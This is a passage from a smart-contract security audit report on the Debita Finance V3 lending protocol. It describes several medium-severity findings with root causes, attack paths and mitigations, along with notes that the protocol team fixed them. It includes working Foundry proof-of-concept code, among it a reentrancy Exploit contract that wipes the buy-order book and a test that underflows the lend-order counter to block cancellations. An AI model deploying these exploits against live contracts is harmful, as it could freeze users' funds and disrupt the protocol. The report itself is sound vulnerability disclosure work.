↪ borrowers to face unfair fees as the function incorrectly calculates the fee
↪ based on `offer.maxDeadline` instead of using the actual extended days derived
↪ from `nextDeadline()` and `m_loan.startedAt`. This leads to inflated fee
↪ deductions during loan extensions.

Root Cause

In `DebitaV3Loan.sol:602`, the calculation of the extended days incorrectly uses
↪ `offer.maxDeadline` as the basis for the fee calculation instead of the actual
↪ extended period derived from `nextDeadline()` and `m_loan.startedAt`. This
↪ results in an inflated `feeOfMaxDeadline`, leading to excessive fees for
↪ borrowers.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Con
↪ tracts/contracts/DebitaV3Loan.sol#L602-L610

Real extended `maxDeadline` is `nextDeadline()`, not `offer.maxDeadline`.

`// calculate difference from fee paid for the initialDuration vs the extra fee
↪ they should pay because of the extras days of extending the loan. MAXFEE
↪ shouldnt be higher than extra fee + PorcentageOfFeePaid`

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Con
↪ tracts/contracts/DebitaV3Loan.sol#L601

```
### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. The borrower calls the `extendLoan()` function to extend their loan duration.
2. The function validates initial conditions:
   - `loanData.extended` is `false`.
   - `nextDeadline()` returns a timestamp greater than `block.timestamp`.
   - `offer.maxDeadline` is a valid future timestamp.
3. The function calculates `feeOfMaxDeadline` as:
   ```solidity
   uint feeOfMaxDeadline = ((offer.maxDeadline * feePerDay) / 86400);
```

This incorrectly uses `offer.maxDeadline` instead of the actual extended period derived from `nextDeadline()` and `m_loan.startedAt`.
4. The miscalculation leads to an inflated `feeOfMaxDeadline` and `misingBorrowFee`.
5. The inflated fees are deducted from the borrower's principal during the loan extension.
6. The borrower loses more principal than necessary due to the incorrect fee calculation.

Impact

Borrowers will be charged inflated fees due to the incorrect calculation of the extended loan days. This results in unnecessary principal loss, making loan extensions disproportionately costly. Over time, this could discourage borrowers from using the loan extension feature, cause financial hardship, and lead to reputational damage for the platform as users perceive the fee structure as unfair or exploitative.

PoC

No response

Mitigation

```solidity
uint extendedDays = nextDeadline() - m_loan.startedAt;
require(extendedDays > 0, "Invalid extended days");

uint feeOfMaxDeadline = ((extendedDays * feePerDay) / 86400);
```
```

Issue M-6: Attacker will prevent lenders from canceling lend orders and block non-perpetual lend orders matching.

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/246

Found by

0x37, 0xPhantom2, 0xloscar01, 0xlrivo, Ace-30, Audinarey, BengalCatBalu, ExtraCaterpillar, Feder, Honour, KlosMitSoss, Moksha, Vasquez, ahmedovv, almantare, aman, araj, arman, bbl4de, befree3x, dany.armstrong90, dimah7, dimulski, eeshenggoh, farismaulana, jjk, jsmi, liquidbuddha, momentum, nikhil840096, onthehunt, pepocpeter, prosper, s0x0mtee, stakog, t.aksoy, tjonair, tourist, utsav, ydlee

Summary

The missing active order check in `DLOImplementation::addFunds` will allow an attacker to halt the cancellation of lend orders for every lender and prevent non-perpetual lend orders from being fully matched as the attacker will execute the following attack path:

1. Call `DLOFactory::createLendOrder` to create a lend order
2. Call `DLOImplementation::cancelOffer`. `DLOFactory::deleteOrder` is called inside `cancelOffer` and decreases the `DLOFactory::activeOrdersCount` by `1`.
3. Call `DLOImplementation::addFunds` to add funds to the lend order and pass the `require` statement in `DLOImplementation::cancelOffer`
4. Repeat steps 2 and 3 until `DLOFactory::activeOrdersCount` is `0`

When `activeOrdersCount` is `0`, further calls to the `DLOFactory::deleteOrder` function will revert due to arithmetic underflow. Consequently, functions calling `deleteOrder` will revert as well:

`cancelOffer` -> `deleteOrder`

`DebitaV3Aggregator::matchOffersV3` -> `acceptLendingOffer` -> `(if (lendInformation.availableAmount == 0 && !m_lendInformation.perpetual)) deleteOrder`

Root Cause

There is a missing check in `DLOImplementation::addFunds` function that allows adding funds to an inactive offer.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L162-L176

```
function addFunds(uint amount) public nonReentrant {
    require(
        msg.sender == lendInformation.owner ||
            IAggregator(aggregatorContract).isSenderALoan(msg.sender),
        "Only owner or loan"
    );
    SafeERC20.safeTransferFrom(
        IERC20(lendInformation.principle),
        msg.sender,
        address(this),
        amount
    );
    lendInformation.availableAmount += amount;
    IDLOFactory(factoryContract).emitUpdate(address(this));
}
```

This allows an attacker to add funds to a lend order that has been canceled and pass the `require` statement in `DLOImplementation::cancelOffer`. The attacker can then call `cancelOffer` to decrease the `DLOFactory::activeOrdersCount` value by `1`.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144-L159

```
    function cancelOffer() public onlyOwner nonReentrant {
        uint availableAmount = lendInformation.availableAmount;
        lendInformation.perpetual = false;
        lendInformation.availableAmount = 0;
@>        require(availableAmount > 0, "No funds to cancel");
        isActive = false;

        SafeERC20.safeTransfer(
            IERC20(lendInformation.principle),
            msg.sender,
            availableAmount
        );
        IDLOFactory(factoryContract).emitDelete(address(this));
@>        IDLOFactory(factoryContract).deleteOrder(address(this));
        // emit canceled event on factory
    }
```

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L207-L220

```
    function deleteOrder(address _lendOrder) external onlyLendOrder {
        uint index = LendOrderIndex[_lendOrder];
        LendOrderIndex[_lendOrder] = 0;
```

```
        // switch index of the last borrow order to the deleted borrow order
        allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1];
        LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index;

        // take out last borrow order

        allActiveLendOrders[activeOrdersCount - 1] = address(0);

@>        activeOrdersCount--;
    }
```

Internal pre-conditions

For Denial of Service in `DLOImplementation::cancelOffer`:

1. There needs to be at least an active lend order created by a legitimate user.

For `DebitaV3Aggregator::matchOffersV3` to revert due to the attack path execution:

1. A legitimate user must create at least an active non-perpetual lend order with `_startedLendingAmount` greater than `0`.
2. A borrow order that matches the non-perpetual lend order must exist.
3. `DebitaV3Aggregator` must not be paused.
4. The borrow order must borrow the full available amount of the matched lend order. This means that when the lend order is matched by calling `matchOffersV3`, `DLOImplementation::acceptLendingOffer` is called by `DebitaV3Aggregator` with `amount` equal to `lendInformation.availableAmount`.

External pre-conditions

No response

Attack Path

Actors:

- Attacker: Exploits the `addFunds` logic to reduce `DLOFactory::activeOrdersCount` to `0`.
- Lender: creates a lend order
- Borrower: creates a borrow order
- Aggregator User: calls `DebitaV3Aggregator::matchOffersV3`

Initial State:

Assume there is a non-perpetual lend order, created by the Lender and a borrow order created by the Borrower, both are active and can be matched. The borrow order will borrow the total of the lend order `availableAmount`. Under this condition, `DLOFactory::activeOrdersCount = 1`.

Attack Path:

1. The attacker calls `DLOFactory::createLendOrder` to create a lend order. This function will increase the `DLOFactory::activeOrdersCount` by 1.

`DLOFactory::activeOrdersCount = 2`

2. The attacker calls `DLOImplementation::cancelOffer` to cancel his lend order. This function calls `DLOFactory::deleteOrder` which will decrease the `DLOFactory::activeOrdersCount` by 1.

`DLOFactory::activeOrdersCount = 1`

3. The attacker calls `DLOImplementation::addFunds` with `1` as the `amount` parameter. This function will add `1` to the lend order's `availableAmount` and allow the attacker to pass the `require` statement in `DLOImplementation::cancelOffer`.
4. The attacker calls `DLOImplementation::cancelOffer` to decrease the `activeOrdersCount` by 1.

`DLOFactory::activeOrdersCount = 0`

5. The Aggregator User calls `DebitaV3Aggregator::matchOffersV3` to match the non-perpetual lend order with the borrow order. This function calls `DLOImplementation::acceptLendingOffer` with `amount` equal to `lendInformation.availableAmount`. As the lend order `availableAmount` is now `0`, the `if` statement in `DLOImplementation::acceptLendingOffer` is true

`lendInformation.availableAmount == 0 && !m_lendInformation.perpetual`

and `DLOFactory::deleteOrder` is called inside `acceptLendingOffer`. `deleteOrder` will try to decrease the `DLOFactory::activeOrdersCount` value by 1, but as its value is `0`, the function will revert due to arithmetic underflow.

6. The Lender calls `DLOImplementation::cancelOffer` to cancel his lend order. `DLOFactory::deleteOrder` is called inside `cancelOffer` and will revert due to the `activeOrdersCount` being `0`.

Impact

- Lenders cannot cancel their lend orders to withdraw their funds.
- Non-perpetual lend orders cannot be 100% accepted.
- A lender who wishes to cancel their lend order will be forced to create a new lend order with the sole purpose of increasing the `DLOFactory::activeOrdersCount` value and allowing the lender to cancel their initial lend order. This requires that the attacker cease the attack.

PoC

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {stdError} from "forge-std/StdError.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DynamicData} from "../../interfaces/getDynamicData.sol";

contract DOSTest is Test {
    DBOFactory public DBOFactoryContract;
    DLOFactory public DLOFactoryContract;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public DebitaV3AggregatorContract;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DebitaV3Loan public DebitaV3LoanContract;
    ERC20Mock public AEROContract;
    ERC20Mock public USDCContract;
    ERC20Mock public wETHContract;
    DLOImplementation public LendOrder;
    DBOImplementation public BorrowOrder;
    DynamicData public allDynamicData;

    address USDC;
    address wETH;

    address borrower = address(0x02);
    address lender1 = address(0x03);
    address lender2 = address(0x04);
    address lender3 = address(0x05);

    address feeAddress = address(this);

    function setUp() public {
        allDynamicData = new DynamicData();
        ownershipsContract = new Ownerships();
        incentivesContract = new DebitaIncentives();
        DBOImplementation borrowOrderImplementation = new DBOImplementation();
```

```
        DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
        DLOImplementation proxyImplementation = new DLOImplementation();
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));
        auctionFactoryDebitaContract = new auctionFactoryDebita();
        USDCContract = new ERC20Mock();
        wETHContract = new ERC20Mock();

        DebitaV3Loan loanInstance = new DebitaV3Loan();
        DebitaV3AggregatorContract = new DebitaV3Aggregator(
            address(DLOFactoryContract),
            address(DBOFactoryContract),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );

        USDC = address(USDCContract);
        wETH = address(wETHContract);

        wETHContract.mint(address(this), 15 ether);
        wETHContract.mint(lender1, 5 ether);
        wETHContract.mint(lender2, 5 ether);
        wETHContract.mint(lender3, 5 ether);


        ownershipsContract.setDebitaContract(
            address(DebitaV3AggregatorContract)
        );

        incentivesContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        DLOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        DBOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        auctionFactoryDebitaContract.setAggregator(
            address(DebitaV3AggregatorContract)
        );
    }


    // Attack path:
    // 1. multiple lend offers are created
```

```
    // 2. borrow offer is created
    // 3. lender1 executes cancelOffer -> addFunds multiple times until
↪   DLOFactory::activeOrdersCount == 0
    // 4. user calls matchOffersV3 and another lender calls cancelOffer. Both
↪   should fail
    function testDOSAttack() public {
        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);
        uint[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);
        bool[] memory oraclesActivatedLenders = allDynamicData
            .getDynamicBoolArray(1);
        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory acceptedCollaterals = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesCollateral = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        ratioLenders[0] = 1e18;
        ratio[0] = 1e18;
        acceptedPrinciples[0] = wETH;
        acceptedCollaterals[0] = USDC;
        oraclesActivated[0] = false;

        // Create multiple lend offers
        vm.startPrank(lender1);
        wETHContract.approve(address(DLOFactoryContract), 5 ether);

        address lendOffer1 = DLOFactoryContract.createLendOrder({
            _perpetual: false,
            _oraclesActivated: oraclesActivatedLenders,
            _lonelyLender: false,
            _LTVs: ltvsLenders,
            _apr: 1000,
            _maxDuration: 8640000,
            _minDuration: 86400,
            _acceptedCollaterals: acceptedCollaterals,
            _principle: wETH,
            _oracles_Collateral: oraclesCollateral,
            _ratio: ratioLenders,
            _oracleID_Principle: address(0x0),
            _startedLendingAmount: 5e18
        });

        vm.startPrank(lender2);
        wETHContract.approve(address(DLOFactoryContract), 5 ether);
```

```
address lendOffer2 = DLOFactoryContract.createLendOrder({
    _perpetual: false,
    _oraclesActivated: oraclesActivatedLenders,
    _lonelyLender: false,
    _LTVs: ltvsLenders,
    _apr: 1000,
    _maxDuration: 8640000,
    _minDuration: 86400,
    _acceptedCollaterals: acceptedCollaterals,
    _principle: wETH,
    _oracles_Collateral: oraclesCollateral,
    _ratio: ratioLenders,
    _oracleID_Principle: address(0x0),
    _startedLendingAmount: 5e18
});

vm.startPrank(lender3);
wETHContract.approve(address(DLOFactoryContract), 5 ether);

address lendOffer3 = DLOFactoryContract.createLendOrder({
    _perpetual: false,
    _oraclesActivated: oraclesActivatedLenders,
    _lonelyLender: false,
    _LTVs: ltvsLenders,
    _apr: 1000,
    _maxDuration: 8640000,
    _minDuration: 86400,
    _acceptedCollaterals: acceptedCollaterals,
    _principle: wETH,
    _oracles_Collateral: oraclesCollateral,
    _ratio: ratioLenders,
    _oracleID_Principle: address(0x0),
    _startedLendingAmount: 5e18
});

vm.stopPrank();

// Create a borrow offer
USDCContract.mint(borrower, 10e18);
vm.startPrank(borrower);
USDCContract.approve(address(DBOFactoryContract), 100e18);

address borrowOrderAddress = DBOFactoryContract.createBorrowOrder({
    _oraclesActivated: oraclesActivated,
    _LTVs: ltvs,
    _maxInterestRate: 1400,
    _duration: 864000,
    _acceptedPrinciples: acceptedPrinciples,
    _collateral: USDC,
```

```
        _isNFT: false,
        _receiptID: 0,
        _oracleIDS_Principles: oraclesPrinciples,
        _ratio: ratio,
        _oracleID_Collateral: address(0x0),
        _collateralAmount: 10e18
    });

    vm.stopPrank();

    // Lender1 begins the attack
    // check DLOFactory::activeOrdersCount == 3
    assertEq(DLOFactoryContract.activeOrdersCount(), 3);

    // lender1 cancels the offer -> DLOFactory::activeOrdersCount == 2
    vm.startPrank(lender1);
    DLOImplementation(lendOffer1).cancelOffer();

    // addFunds (1 wei)
    wETHContract.approve(lendOffer1, 3);
    DLOImplementation(lendOffer1).addFunds(1);

    // cancelOffer again -> DLOFactory::activeOrdersCount == 1
    DLOImplementation(lendOffer1).cancelOffer();

    // addFunds (1 wei)
    DLOImplementation(lendOffer1).addFunds(1);

    // lender1 cancels the offer -> DLOFactory::activeOrdersCount == 0
    DLOImplementation(lendOffer1).cancelOffer();

    vm.stopPrank();

    // check DLOFactory::activeOrdersCount == 0
    assertEq(DLOFactoryContract.activeOrdersCount(), 0);

    // now try to call mathOffersV3 -> should fail
    address[] memory lendOrders = new address[](1);
    uint[] memory lendAmounts = allDynamicData.getDynamicUintArray(1);
    uint[] memory percentagesOfRatio = allDynamicData.getDynamicUintArray(
        1
    );
    uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
        .getDynamicUintArray(1);
    uint[] memory indexForCollateral_LendOrder = allDynamicData
        .getDynamicUintArray(1);
    uint[] memory indexPrinciple_LendOrder = allDynamicData
        .getDynamicUintArray(1);

    lendOrders[0] = lendOffer3;
```

```
        percentagesOfRatio[0] = 10000;
        lendAmounts[0] = 5e18;

        vm.expectRevert(stdError.arithmeticError);
        address deployedLoan = DebitaV3AggregatorContract.matchOffersV3({
            lendOrders: lendOrders,
            lendAmountPerOrder: lendAmounts,
            porcentageOfRatioPerLendOrder: percentagesOfRatio,
            borrowOrder: borrowOrderAddress,
            principles: acceptedPrinciples,
            indexForPrinciple_BorrowOrder: indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder: indexForCollateral_LendOrder,
            indexPrinciple_LendOrder: indexPrinciple_LendOrder
        });

        // lender2 tries to cancel his lend order -> should fail
        vm.startPrank(lender2);
        vm.expectRevert(stdError.arithmeticError);
        DLOImplementation(lendOffer2).cancelOffer();
    }
}
```

Steps to reproduce:

1. Create a file `DOSTest.t.sol` inside `Debita-V3-Contracts/test/local/Loan/` and paste the PoC code.
2. Run the test in the terminal with the following command:

```
forge test --mt testDOSAttack
```

Mitigation

Add a check in `DLOImplementation::cancelOffer` to prevent cancelling an inactive lend order.

```
@@ -139,12 +139,13 @@ contract DLOImplementation is ReentrancyGuard, Initializable {
     }

     // function to cancel the lending offer
     // only callable once by the owner
     // in case of perpetual, the funds won't come back here and lender will need
 ↪  to claim it from the lend orders
     function cancelOffer() public onlyOwner nonReentrant {
+        require(isActive, "Offer is not active");
         uint availableAmount = lendInformation.availableAmount;
         lendInformation.perpetual = false;
         lendInformation.availableAmount = 0;
         require(availableAmount > 0, "No funds to cancel");
```

```
        isActive = false;
```

Add a check in `DLOImplementation::addFunds` to prevent adding funds to an inactive offer, this will prevent lenders from getting their funds stuck in an inactive order.

```
@@ -162,12 +163,13 @@ contract DLOImplementation is ReentrancyGuard, Initializable {
     function addFunds(uint amount) public nonReentrant {
         require(
             msg.sender == lendInformation.owner ||
                 IAggregator(aggregatorContract).isSenderALoan(msg.sender),
             "Only owner or loan"
         );
+        require(isActive, "Offer is not active");
         SafeERC20.safeTransferFrom(
             IERC20(lendInformation.principle),
             msg.sender,
             address(this),
             amount
         );
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/206c6ede06ab1d84943bd0b8431d6c0a9c9faaa7

Issue M-7: An attacker can wipe the order-book in buyOrderFactory.sol

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/326

Found by

0x37, AdamSzymanski, VAD37, Vidus, copperscrewer, liquidbuddha, tourist

Summary

A malicious actor can wipe the complete buy order orderbook in `buyOrderFactory.sol`. The attack - excluding gas costs - does not bear any financial burden on the attacker. As a result of the exploit, the orderbook will be temporarily inaccessible in the factory, leading to a DoS state in buy order matching, and in closing and selling existing positions.

Root Cause

The function `sellNFT(uint receiptID)` lacks reentrancy protection: https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/buyOrders/buyOrder.sol#L92

Internal pre-conditions

N/A

External pre-conditions

N/A

Attack Path

1. Attacker calls `createBuyOrder(address _token, address wantedToken, uint _amount, uint ratio)` with exploit contract supplied in parameter `wantedToken`
2. Attacker calls `sellNFT(uint receiptID)` which triggers the exploit sequence
3. Exploit contract will reenter `sellNFT` multiple times, triggering a cascade of buy order deletions

Impact

The orderbook in `buyOrderFactory.sol` will be inaccessible. The function `getActiveBuyOrders(uint offset, uint limit)` is used by off-chain services to gather buy order data - this data will be temporarily blocked. Deleting existing buy orders (`deleteBuyOrder()`) and selling NFTs (`sellNFT(uint receiptID)`) will also be temporarily blocked until the issue is resolved manually. Issue can be resolved manually by:

- Opening dummy buy orders with very little collateral
- Closing/selling positions on existing ”legit” orders

PoC

Note: the PoC is somewhat hastily developed as the audit deadline is quite short relative to the project scope. Executing the PoC with the verbose flag (forge test -vvvv) will show that deletion is triggered multiple times.

Exploit contract:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface BuyOrder {
    function sellNFT(uint receiptID) external;
}

contract Exploit {
    BuyOrder public buyOrder;
    uint public counter = 0;
    uint public counterMax = 2;

    struct receiptInstance {
        uint receiptID;
        uint attachedNFT;
        uint lockedAmount;
        uint lockedDate;
        uint decimals;
        address vault;
        address underlying;
    }

    constructor() {}

    function setBuyOrder(address _buyOrder) public {
        buyOrder = BuyOrder(_buyOrder);
    }

    fallback() external payable {
        if (counter < 2) {
```

```
            counter++;
            buyOrder.sellNFT(0);
        }

        if (counter == counterMax) {
            counter++;
            buyOrder.sellNFT(1);
        }

    }

    function getDataByReceipt(uint receiptID) public view returns (receiptInstance
↪   memory) {
        uint lockedAmount;
        if (receiptID == 1) {
            lockedAmount = 1;
        } else {
            lockedAmount = 0;
        }

        uint lockedDate = 0;
        uint decimals = 0;
        address vault = address(this);
        address underlying = address(this);
        bool OwnerIsManager = true;
        return receiptInstance(receiptID, 0, lockedAmount, lockedDate, decimals,
↪   vault, underlying);
    }

}
```

Forge test:

```
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import "forge-std/StdCheats.sol";

import {BuyOrder, buyOrderFactory} from "@contracts/buyOrders/buyOrderFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";

import {Exploit} from "./exploit.sol";

contract BuyOrderTest is Test {
    buyOrderFactory public factory;
    BuyOrder public buyOrder;
    BuyOrder public buyOrderContract;
```

```
    ERC20Mock public AERO;
    Exploit public exploit;

    function setUp() public {
        BuyOrder instanceDeployment = new BuyOrder();
        factory = new buyOrderFactory(address(instanceDeployment));
        AERO = new ERC20Mock();
    }

    function testMultipleDeleteBuyOrder() public {
        address alice = makeAddr("alice");
        deal(address(AERO), alice, 1000e18, false);

        vm.startPrank(alice);
        IERC20(AERO).approve(address(factory), 1000e18);
        exploit = new Exploit();

        factory.createBuyOrder(address(AERO), address(AERO), 1, 1);
        factory.createBuyOrder(address(AERO), address(AERO), 1, 1);
        factory.createBuyOrder(address(AERO), address(AERO), 1, 1);

        address _buyOrderAddress = factory.createBuyOrder(
            address(AERO),
            address(exploit),
            1,
            1
        );

        exploit.setBuyOrder(_buyOrderAddress);
        buyOrderContract = BuyOrder(_buyOrderAddress);

        buyOrderContract.sellNFT(2);

        vm.stopPrank();
    }

}
```

Mitigation

Apply reentrancy protection on the function `sellNFT(uint receiptID)`: https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/buyOrders/buyOrder.sol#L92

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/f3195e007b0c22dc0173a344157c182726dbf2ec

Issue M-8: Lender may loose part of the interest he has accrued if he makes his lend offer perpetual after a loan has been extended by the borrower

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/345

Found by

dimulski

Summary

The `DebitaV3Loan.sol` contract allows borrowers to extend their loan against certain fees by calling the extendLoan() function:

```
function extendLoan() public {
            ...
            /*
            CHECK IF CURRENT LENDER IS THE OWNER OF THE OFFER & IF IT'S PERPETUAL
↪  FOR INTEREST
            */
            DLOImplementation lendOffer = DLOImplementation(
                offer.lendOffer
            );
            DLOImplementation.LendInfo memory lendInfo = lendOffer
                .getLendInfo();
            address currentOwnerOfOffer;

            try ownershipContract.ownerOf(offer.lenderID) returns (
                address _lenderOwner
            ) {
                currentOwnerOfOffer = _lenderOwner;
            } catch {}

            if (
                lendInfo.perpetual && lendInfo.owner == currentOwnerOfOffer
            ) {
                IERC20(offer.principle).approve(
                    address(lendOffer),
                    interestOfUsedTime - interestToPayToDebita
                );
                lendOffer.addFunds(
```

```
                    interestOfUsedTime - interestToPayToDebita
                );
            } else {
                loanData._acceptedOffers[i].interestToClaim +=
                    interestOfUsedTime -
                    interestToPayToDebita;
            }
            loanData._acceptedOffers[i].interestPaid += interestOfUsedTime;
        }
    }
    Aggregator(AggregatorContract).emitLoanUpdated(address(this));
}
```

The extendLoan() function, also calculates the interest that is owed to the lenders up to the point the function is called. As can be seen from the above code snippet if the lend order is not perpetual the accrued interest will be added to the `interestToClaim` field. Now if a loan has been extended by the borrower, and a lender decides he wants to make his lend order perpetual(meaning that any generated interest, which may come from other loans as well, will be directly deposited to his lend order contract), but doesn't first claim his interest he will loose the interest that has been accrued up to the point the loan was extended. When the borrower repays his loan via the payDebt() function:

```
function payDebt(uint[] memory indexes) public nonReentrant {
        ...

        DLOImplementation lendOffer = DLOImplementation(offer.lendOffer);
        DLOImplementation.LendInfo memory lendInfo = lendOffer
            .getLendInfo();

        SafeERC20.safeTransferFrom(
            IERC20(offer.principle),
            msg.sender,
            address(this),
            total
        );
        // if the lender is the owner of the offer and the offer is perpetual, then
 ↪  add the funds to the offer
        if (lendInfo.perpetual && lendInfo.owner == currentOwnerOfOffer) {
            loanData._acceptedOffers[index].debtClaimed = true;
            IERC20(offer.principle).approve(address(lendOffer), total);
            lendOffer.addFunds(total);
        } else {
            loanData._acceptedOffers[index].interestToClaim =
                interest -
                feeOnInterest;
        }

        SafeERC20.safeTransferFrom(
            IERC20(offer.principle),
```

```
            msg.sender,
            feeAddress,
            feeOnInterest
        );

        loanData._acceptedOffers[index].interestPaid += interest;
    }
    // update total count paid
    loanData.totalCountPaid += indexes.length;

    Aggregator(AggregatorContract).emitLoanUpdated(address(this));
    // check owner
}
```

As can be seen from the above code snippet if the lend order is perpetual the intrest generated after the loan has been extended will be directly send to the lend offer contract alongside with the principal of the loan, and the `debtClaimed` will be set to true. This prohibits the user from calling the claimDebt() function later on in order to receive the interest he accrued before the loan was extended. This results in the lender loosing the interest he has generated before the loan was extended, which based on the amount of the loan, the duration and the APR may be a significant amount. Keep in mind that most users of the protocol are not experienced web3 developers or auditors and most probably won't be tracking if and when a loan has been extended. They will expect that after certain time has passed, they will be able to claim their interest, or if they have set their lend order to be a perpetual one, they will expect just to sit back, and generate interest.

Root Cause

The payDebt() function sets the `debtClaimed` to true, if a lend order is perpetual. The lender can't call the claimDebt() function in order to get his accrued interest, if he had any before the payDebt() function was called by the borrower to repay his debt.

Internal pre-conditions

1. Borrow and Lend Orders are matched, the Lend orders are not perpetual
2. Several days after the loan has been created pass, the borrower decides to extend the loan
3. Some of the lenders decide to make their lend orders perpetual, without first claiming the interest they have generated before the loan was extended.

External pre-conditions

No response

Attack Path

No response

Impact

In a scenario where a borrower extends a loan, and later on a lender makes his lend order a perpetual one, the lender will loose the interest he accrued before the loan was extended. Based on factors such as loan duration, APR and amount those losses may be significant. Those funds will be locked in the contract forever.

PoC

No response

Mitigation

Consider implementing a separate function just for claiming interest.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/8008bb515d7f6eafc5c98a444d985cd6f9416c37

Issue M-9: Mixed Token Price Will Be Inflated or Deflated

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/362

Found by

dimulski, jsmi

Summary

The `MixOracle::getThePrice()` function contains a logical error, causing the calculated price of a token to be incorrectly inflated or deflated. This issue arises when token pairs with differing decimal scales are used, leading to inaccurate pricing data.

Root Cause

1. The problem lies in the following function: https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/oracles/MixOracle/MixOracle.sol#L40-L70

```
    function getThePrice(address tokenAddress) public returns (int) {
        // get tarotOracle address
        address _priceFeed = AttachedTarotOracle[tokenAddress];
        require(_priceFeed != address(0), "Price feed not set");
        require(!isPaused, "Contract is paused");
        ITarotOracle priceFeed = ITarotOracle(_priceFeed);

        address uniswapPair = AttachedUniswapPair[tokenAddress];
        require(isFeedAvailable[uniswapPair], "Price feed not available");
        // get twap price from token1 in token0
        (uint224 twapPrice112x112, ) = priceFeed.getResult(uniswapPair);
        address attached = AttachedPricedToken[tokenAddress];

        // Get the price from the pyth contract, no older than 20 minutes
        // get usd price of token0
        int attachedTokenPrice = IPyth(debitaPythOracle).getThePrice(attached);
        uint decimalsToken1 = ERC20(attached).decimals();
57:     uint decimalsToken0 = ERC20(tokenAddress).decimals();

        // calculate the amount of attached token that is needed to get 1 token1
        int amountOfAttached = int(
61:         (((2 ** 112)) * (10 ** decimalsToken1)) / twapPrice112x112
        );
```

```
        // calculate the price of 1 token1 in usd based on the attached token
        uint price = (uint(amountOfAttached) * uint(attachedTokenPrice)) /
66:         (10 ** decimalsToken1);

        require(price > 0, "Invalid price");
        return int(uint(price));
    }
```

Here, `decimalsToken1` is mistakenly used for scaling instead of `decimalsToken0` in line `66`. This discrepancy is critical when the token pair has different decimals. Furthermore, the variable `decimalsToken0` is defined but not utilized anywhere else in the function, highlighting a clear logical oversight.

Internal pre-conditions

The admin sets token pairs in the `MixOracle` where the tokens have differing decimals (e.g., `USDC` with `6` decimals and `DAI` with `18` decimals).

External pre-conditions

No response

Attack Path

1. Assume `MixOracle::getThePrice()` is called with `tokenAddress = DAI`.
2. In the contract:
    - `decimalsToken0 = 1e18` (`DAI` has `18` decimals).
    - `decimalsToken1 = 1e6` (`USDC` has `6` decimals).
3. Due to the logical error in line `66`, the token price will be inflated by `1e12` (or deflated in other cases), depending on the tokens in the pair.
4. This incorrect price propagation may result in:
    - Incorrect exchange rates.
    - Loss of funds for users or systems relying on this data.

Impact

Mix oracle get the inflated/deflated price, leading to the loss of funds.

PoC

No response

Mitigation

In line `61`, replace `decimalsToken1` with `decimalsToken0`.

```
        uint price = (uint(amountOfAttached) * uint(attachedTokenPrice)) /
